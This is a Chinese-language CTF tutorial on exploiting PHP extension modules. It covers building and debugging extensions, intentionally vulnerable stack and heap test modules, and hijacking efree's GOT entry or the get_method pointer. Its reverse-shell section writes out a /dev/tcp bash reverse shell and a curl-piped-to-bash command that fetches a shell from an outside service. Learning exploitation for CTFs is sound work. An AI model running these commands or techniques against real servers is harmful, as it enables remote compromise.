PHP_PWN入门
一、php拓展模块搭建和编写
1.创建模块模板
找到php源码目录
然后使用ext_skel
创建一个模板
1 | ./ext_skel --extname=helloworld |
2.编译模块
随后进行编译,跳转到刚刚生成的模块文件夹路径/path_to_php_src/ext/helloworld
,然后编译
1 | /www/server/php/56/bin/phpize |
这里需要指定一下--with-php-config
,选择自己的php-config
,当然如果本地的环境变量bin命令下直接有php-config
也不用指定了,随后
1 | make |
这样就可以在当前目录下生成了
其中helloworld.c
即为创建的模板代码,但是不知道为什么5.6版本的编译完成后,不生成.so模块文件,可能是版本特性?
1 | /* helloword extension for PHP */ |
🔺注:不同版本创建模板
需要注意的是,在php7.3以上,ext_skel
这个shell变成了ext_skel.php
,所以我们使用如下来创建
1 | /www/server/php/73/bin/php ./ext_skel.php --ext helloword |
🔺注:默认的保护措施
同时需要注意的是,在configure设置完之后,保护措施也需要设置一下,默认编译的保护如下:
可以看到除了RELRO没有加强保护之外,其他都加入了,我们在Makefile中可以进行相关的保护措施消除
这里试了很多遍,貌似只能关掉Canary保护和FORTIFY保护
3.加载模块
方法一:
直接make install
,然后在对应的php.ini中添加extension=helloword.so
方法二:
复制modules下的helloworld.so模块到对应的php扩展目录
1 | cp ./modules/helloword.so /www/server/php/73/lib/php/extensions/no-debug-non-zts-20180731/ |
同样也得在php.ini中添加extension
之后使用模板中函数测试即可
1 | <?php |
如下即可成功
这个php拓展模块其实跟linux内核有点像
🔺注:php.ini的设置
需要注意的是php.ini(php-fpm的php.ini)和php-cli.ini(php-cli的php.ini)的区别设置
对于php-fpm的php.ini,只会在web服务器上生效,而对于php-cli的php.ini才是在命令行中生效,所以如果我们需要使用命令行直接调试php,那么就需要修改php-cli中的php.ini才行的。以下是用宝塔linux搭建的Php环境,如果在命令行中生效则需要修改Php-cli.ini才行的。
4.编写函数
以下是php7及以上的语法,之前版本的会有所不同
(1)PHP_FUNCTION
①框架编写
由PHP_FUNCTION
修饰的函数相当于直接的定义函数,所以我们定义函数时,需要用该修饰符来修饰,格式如下
1 | PHP_FUNCTION(funcName) |
至于这个ZEND_PARSE_PARAMETERS_NONE();
代表定义的该函数无参数传递。
②参数传递
而当我们需要给函数传递参数时,就需要用到ZEND_PARSE_PARAMETERS_START
来设置函数的参数个数
1 | char *var = "World"; |
上述的ZEND_PARSE_PARAMETERS_START(0, 1)
即代表传入参数个数为0~1
,可变个数,如果个数不符合,则会触发异常。同样也可以设置为1~1
,2~4
等等之类的。
Z_PARAM_STRING
代表一种参数类型,即char*
,传入的参数给到var,长度给到var_len,还有的其他类型如下。
1 | specifier Fast ZPP API macro args |
参照:AntCTF ^ D3CTF 2021 hackphp - 安全客,安全资讯平台 (anquanke.com)
③参数信息定义
1 | ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0) |
这里就在ZEND_BEGIN_ARG_INFO
中定义了参数arginfo_helloword_test1和arginfo_helloword_test2,然后在ZEND_ARG_INFO
中设置参数名称,在ZEND_ARG_INFO
中第一个参数代表是否为引用,第二个参数设置名称,比如这里就设置为str
。这个参数信息的定义在之后的函数注册中需要用到。
参照:Linux下PHP7扩展开发入门教程3:编写第一个函数 | 毛英东的个人博客 (maoyingdong.com)
(2)函数注册
和内核类似,需要将我们编写的函数进行注册
1 | static const zend_function_entry helloword_functions[] = { |
如上,即使用PHP_FE
来注册函数,需要传入函数名称和函数参数定义信息。
(3)模块注册
最后整个模块使用zend_module_entry
进行模块注册
1 | zend_module_entry helloword_module_entry = { |
二、调试php拓展
1.查找模块
查找php拓展模块
1 | php -i | grep extensions |
2.开始调试
如下,调试php程序,然后跑起来,使得加载进入拓展模块,ctrl+c中断后即可对特定函数下断点,然后再跑test.php
,该php调用需要调试的拓展模块中的函数,继续运行即可断点。
1 | gdb /www/server/php/73/bin/php |
这里可以看到我们使用拓展模块注册的函数最终都会以zif_
整个前缀进行修饰,所以当做CTF题时,直接搜索zif从中寻找函数进行解析即可。
如下
🔺测试用例
(1)栈模块
传入任意长度的字符串,拷贝给data,导致栈溢出
1 | /* my_stack extension for PHP */ |
(2)堆模块
UAF,溢出,doubleFree等漏洞
测试代码,如下即为用php7.3编译的代码,实现四个函数,增删改查
1 | my_heap_addFunc(18); |
题目代码:
1 | /* my_heap extension for PHP */ |
三、漏洞利用
一般而言,php_pwn都先看看php.ini,哪些函数被禁了,搜索disable_functions
当没有禁止include函数、ob_start函数、ob_get_contents函数、ob_end_flush函数时,就可以来调用从而直接获取地址。
1.EXP模板
先来几个常用的函数模板,用来交互
1 |
|
并且以下给出的exp都是基于上面的测试用例
2.格式化字符串
3.栈溢出
一般都能够通过读取/proc/self/maps
来泄露地址
没有canary的时候,单纯栈溢出的时候,一般有以下几种方法
(1)利用poepn反弹shell
1 | from pwn import * |
以上代码生成之后,直接php pwn.php运行或者调试即可。
需要注意的是,WEB和CLI的栈地址有点不太一样,另外在本地运行的时候,直接运行php和调试php也有点不太一样
参照WEBPWN入门级调试讲解 - 安全客,安全资讯平台 (anquanke.com)
例题一:2020De1CTF-mixture
参考
WebPwn:php-pwn学习 - 安全客,安全资讯平台 (anquanke.com)
De1CTF 2020 Web+Pwn mixture | Clang裁缝店 (xuanxuanblingbling.github.io)
(2)rop链构造调用mprotect
函数执行shellcode
4.堆方面
堆机制:
首先简单介绍一下内存机制,使用_emalloc和_efree
进行内存分配和释放,类似不加任何保护的slub/slab机制,存在FD指针可以实现劫持之后任意分配,并且分配的大小规格如下
1 | //宏定义:第一列表示序号(称之为bin_num),第二列表示每个small内存的大小(字节数); |
当超过3K时,如下分配
huge内存:针对大于2M-4K的分配请求,直接调用mmap分配;
large内存:针对小于2M-4K,大于3K的分配请求,在chunk上查找满足条件的若干个连续page;
参考:【PHP7源码分析】PHP内存管理 - SegmentFault 思否
并且不存在我们在glibc中常见的hook函数,所以通常getshell的做法一般两种:
劫持efree_got或者劫持某些结构体的函数指针
(1)劫持efree_got
不过这个需要.so
拓展模块不能为Full RELRO,得能修改其中的got表,然后还得在该拓展模块中有调用_efree
函数才行,相当于就是ret2Got
。得泄露该.so
拓展模块的地址才行。
自定义题目的exp如下
1 |
|
(2)劫持get_method函数指针
简单来说,就是劫持函数指针zend_object->zval->zend_object_handlers->get_method
原理如下:
①zend_object
当定义声明一个class对象时
1 | class Lucky{ |
当在php中声明Lucky这个class对象时,会自动声明一个对应大小zend_object
结构
1 | //7.3/src/Zend/zend_types.h 大小56 |
正常来说,创建class对象都会有成员,但是在php中其实也可以声明没有成员的class对象,那么此时该class对应的zend_object
的大小即为56-8=48。所以class对象中的成员越多,其zend_object
结构的大小就越大。
②zval
而每一个成员在内存中实际反应的就是zval
结构体
1 | //7.3/src/Zend/zend_types.h 大小0x10 |
所以class对象的zend_object
结构的大小公式为
1 | 48 + amount_of_member*0x10 |
比如上述的lucky对象的zend_object
结构的大小即为48+0x10*2=0x50
③zend_object_handlers
而每个zval结构体中的value值是一个指针,当该成员为字符串时,那么其为一个zend_string
结构体指针
1 | //7.3/src/Zend/zend_types.h |
当该成员为函数时,其为一个zend_object_handlers
指针
1 | //7.3/src/Zend/zend_object_handlers.h |
同样的,也对应有其他的变量类型,由zval中的type来决定,type值的不同代表不同的类型,比如string为6,函数object为8
1 | //src/Zend/zend_types.h |
汇总一下,就是创建一个class类,然后劫持其函数成员创建的zval
结构体中的zend_object_handlers
指针,使其指向我们可控的区域,然后在对应偏移处修改get_method
指针,使其指向可以执行系统命令的函数,从而来反弹shell。
或者说直接劫持函数成员创建的zval
结构体中的zend_object_handlers
指向的内存区域中的get_method
指针,也是能起到一样的作用。
绕过点
不过还是需要绕过一些保护的,调用get_method
函数指针貌似还是需要绕过一些东西的,这里不知道具体的原理,不过修改点还是可以说明的
①write_dimension
这个需要修改的,常见的如下,需要修改最低的为0x1
相对应的修改如下
相关检测的代码如下
②get_method的选择
由于调用该函数指针时,传进来的rdi参数并非是我们的C语言上的字符串类型的指针,而貌似是一个类似zend_string
的指针,类似如下
所以不能使用常规意义system
或者popen
函数等,需要调用php中的相关内置的函数来对参数进行解析再执行。一般选择的是php程序中的php_exec
函数下面的函数代码,下图红框所示
同样的,以上的结构体在堆中通常也可以用来泄露地址
例题就是2021WMCTF checkin
2021WMCTF_checkin学习PHP PWN - 安全客,安全资讯平台 (anquanke.com)
PHP pwn入门1 - 格式化字符串漏洞 - HackMD
四、反弹shell
常见的反弹shell大概以下两种方式
1.popen直接反弹
这个只需要执行命令,其中127.0.0.1/6666
即设置为自己攻击机的ip和端口
1 | popen('/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'); |
常见system函数不好使用,php中不好整的时候
2.使用中转站反弹
GitHub - lukechilds/reverse-shell: Reverse Shell as a Service
执行命令,其中192.168.0.69:1337
也是设置为自己攻击机的ip和端口
1 | system("curl https://reverse-shell.sh/192.168.0.69:1337|bash\x00"); |
相当于在一个服务器https://reverse-shell.sh
进行中转
五、调试技巧
1.安装对应版本调试
这个就不多说了,在做题的时候,了解到php版本,然后本机安装对应版本的php,之后在php.ini中添加该模块调试即可
2.gdbserver调试
有些题目会给现成的docker环境,所以可以直接在里面使用gdbserver调试,但是有点问题就是,调试的时候好像没办法使用run
命令来运行php文件,而直接调试php pwn.php
的话,开始的时候相应的.so模块不会被加载进入,没办法下断点。
那么可以先将本地的ASLR关闭,这样docker中的ASLR也是关闭状态
然后gdbserver 127.0.0.1:6666 php
,宿主机target remote:6666;c
远程加载运行起来,找到对应.so
模块的加载地址so_addr
之后再gdbserver 127.0.0.1:6666 php pwn.php
,宿主机远程加载,使用add-symbol-file file.so so_addr
从而加载进符号表,然后即可下断点调试了。